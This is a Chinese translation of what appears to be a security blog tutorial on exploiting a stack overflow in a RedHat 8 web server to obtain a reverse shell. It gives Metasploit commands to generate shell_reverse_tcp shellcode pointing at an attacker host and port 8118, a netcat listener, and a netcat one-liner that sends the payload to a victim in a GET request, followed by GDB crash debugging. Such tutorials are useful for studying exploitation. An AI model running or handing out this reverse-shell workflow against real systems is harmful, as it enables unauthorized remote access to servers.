http://p9.qhimg.com/t01f2d6c4aba3242201.png

写在前面的话


我撰写这篇文章目的就是为了教会大家如何去利用RedHat8 Web服务器中存在的一种新型堆栈溢出漏洞来实现攻击。在这篇文章中,我将会列出漏洞利用过程中所有需要用到的工具、实用命令以及控制指令。当然了,我不仅会告诉大家如何利用这个漏洞,我还会跟大家解释漏洞利用背后的实现原理。

在此,我假设各位读者对编程和计算机体系架构已经有基本的了解了。但是也请各位不用担心,我在文章中仍然会对这部分内容进行介绍。


工具的使用


Kali Linux

我强烈建议各位在开始动手操作之前安装好Kali Linux,因为这款渗透测试神器包含有我们所要使用的所有工具。

Metasploit

在操作过程中,我们需要使用Metasploit来生成我们的反向tcp shell代码,然后再将其嵌入至我的攻击payload中。我所使用的shell代码为linux/x86/shell_reverse_tcp(外加x86/alpha_mixed编码器)。接下来,我会跟大家解释我为何要使用这两项设置。除此之外,我还需要Metasploit来帮助我确定攻击payload的大小。

Netcat

我需要使用Netcat来发送我们的payload,并且对指定的端口设置一个监听器。我之所以选择Netcat,是因为这款工具不仅使用起来非常简单,而且它还可以处理所有TCP/IP层的重要协议。我们只需要通过一个简单的命令--“nc -l -p [端口号]”就可以开始对特定的端口进行监听了。除此之外,我还需要使用Netcat来向包含漏洞的RedHat8服务器发送GET请求。

GDB调试器

在漏洞利用的过程中,我需要使用GDB调试器(命令为“gdb -core [文件名]”)来查看我们从目标RedHat8服务器中导出的本地文件副本。其他需要使用的命令如下:

1
2
info reg         显示寄存器中所有的信息
x/64 REGISTER(+/- bytes)        显示寄存器地址中的内存数据


如何运行我们的漏洞利用代码


假设文件“exploit_gen.py”已经存在于我们的攻击设备中了。现在,我们将要使用Netcat来监听8118端口,然后通过GET请求和端口“SERVERPORTNUM”来将我们生成的攻击payload发送给目标服务器。

1. 打开两个终端窗口;

2. 在终端窗口A中运行下列命令,开启对端口8118的监听:

1
nc -l 8118 (on Linux)

3. 在终端窗口B中运行下列命令:

1
2
EGG=python exploit_gen.py
echo GET /$EGG HTTP/1.0|nc VICTIM SERVERPORTNUM


生成Shell代码


在这一章节中,我会告诉大家如何生成我们的shell代码。我之所以要把这部分内容放在后面,是因为我感觉这一步骤实在是太无聊了。

为了生成Shell代码,我们还是得使用Metasploit。与之前一样,首先打开一个终端窗口,然后输入命令“msfconsole”,此时我们将会进入Metasploit的控制台。虽然网上有很多介绍Metasploit的文章,但是在这篇文章中我只会介绍现在所要使用的东西。简而言之,我们只需要运行下列命令,就可以生成我们的Shell代码了。

1
2
3
4
use linux/x86/shell_reverse_tcp
set LHOST AttackerIP (目标主机的IP地址)
set LPORT 8118
generate -t python -e x86/alpha_mixed

首先,我们要告诉Metasploit,我们要使用的exploit是shell_reverse_tcp。接下来,我们要设置需要进行攻击的目标主机IP地址,然后再设置需要监听的端口。请注意,不要使用默认的4444端口,因为可能已经有人正在监听这个端口了,所以我们在这里使用的是8118端口。最后,为了让我们所生成的Shell代码能够兼容Python,我们就要使用一个名为“alpha_mixed”的编码机制了,它可以帮助我们移除掉某些目标服务器无法识别的特殊字符。接下来,Metasploit会输出相应的Python代码,你可以直接将代码复制粘贴进我们的“exploit_gen.py”文件中。

“shell_reverse_tcp”中的代码是使用机器语言编写的,这也就意味着它的代码基本上都是操作码。这些操作码可以让计算机通过我们指定的IP地址和端口号来建立一个TCP/IP链接,然后帮助我们向目标主机中发送shell代码。采用机器语言编写的代码对我们来说是非常重要的,因为这样一来,我们在生成攻击代码时,就可以不用根据目标主机的情况来考虑我们所需使用的语言了。


所有生成的东西整合在一起


既然我们已经制作好了“exploit_gen.py”文件,那么我们就可以像往常一样将该文件地址分配给“$EGG”变量了。那么接下来,打开两个单独的终端窗口,一个用来向目标Web服务器发送“$EGG”变量的内容,另一个用来控制Netcat去监听TCP shell的返回信息。这些操作全部都可以在Kali Linux中完成:

终端A:

1
nc -l 8118 (这里的端口号需要与我们用来生成shell代码的端口相同)

终端B

1
2
EGG=python exploit_gen.py
echo GET /$EGG HTTP/1.0|nc VictimIP 8888

如果一切顺利的话,你应该可以在运行了Netcat的那个终端中看到shell提示符了。话虽如此,但是事情总是不会进展得如此顺利的。在我的实验过程中,我从未在监听端口的过程中拿到过反向shell。如果你的情况与我一样,请你振作起来,因为我接下来会告诉你为什么会出现这种情况。


深入分析


在运行完这些命令,并将“$EGG”变量的内容发送至目标RedHat8服务器之后,进入目标主机然后检查它的核心文件,你将会得到如下图所示的信息:

http://p1.qhimg.com/t01e69d16d2b890010c.png

那么你可能会问了,“Segmentation fault”是什么意思呢?就我的经验来看,当某个程序尝试访问其沙箱之外的内存地址时,系统就会抛出这个错误。这种情况之所以会发生,更加确切地说,是因为当这个程序需要访问EIP寄存器中的数据时,寄存器地址指向的是一个无效指令。好的,那么接下来的问题是,地址0xbffffa0f到底有什么?结果我发现,这个地址指向的竟然是我shell代码的中间部分!实际上,我们可以通过“info reg”命令来验证EIP寄存器中的信息,这个地址的确指向的是我的shell代码。

http://p2.qhimg.com/t013796d60edaa8a984.png

那么ESP寄存器中保存着什么呢?如下图所示:

http://p9.qhimg.com/t017507ca479c99314e.png


这意味着什么?


其实我自己也不是很确定。但是在进行了一番分析之后,我可以确定的是,我的shell代码已经被执行了,但是可能在初始化TCP/IP链接的过程中遇到了一些小问题。我之所以可以确定shell代码得到了完整的执行,是因为ESP寄存器中的数据发生了改变,这也就意味着堆栈信息不知为何被返回了。我曾尝试过去验证这一想法,但是这确实很难。我只知道防火墙是无法阻止两台虚拟机之间的通信的,因为两台虚拟机之间是可以相互Ping通的。但是为什么防火墙会阻止一个TCP/IP shell呢?

但是我在思考过后发现,这样想其实是完全错误的!于是我打开了我的笔记本电脑,然后尝试通过一台远程设备(一台Ubuntu 16.04主机)来重新对一台远程RedHat8服务器实施攻击。这就需要我们使用新的攻击主机IP地址来重新生成shell代码,然后将其复制粘贴进“exploit_gen.py”文件中。但是这里还存在一个问题—返回地址无法对齐。如果你还记得的话,我们可以导出“$EGG”变量的十六进制数据(使用命令“echo $EGG | hexdump –C”)来进行验证:

http://p5.qhimg.com/t01f01a3361c9748c32.png

虽然这只是一个小小的变化,但是这一次我们成功地拿到了shell!为什么会这样呢?有可能是因为虚拟机的设置有问题吧?说实话,我自己也不是很确定。如果有哪位同学知道的话,欢迎与我联系!

http://p9.qhimg.com/t01a25629919029d5d8.png


结束语


我希望这篇文章能够给各位渗透测试人员提供一种新的漏洞利用思路。在我们遇到问题时,我们不仅要尝试去解决问题,还要能够去思考问题背后的原因。感谢大家的阅读,希望各位能够喜欢!在下一篇文章中,我会给大家讲解如何绕过Windows的ASRL来拿到目标主机的shell,感兴趣的同学请锁定安全客!


本文由 安全客 翻译,作者:WisFree
原文链接:https://woumn.wordpress.com/2016/09/24/smashing-the-stack-into-a-reverse-shell/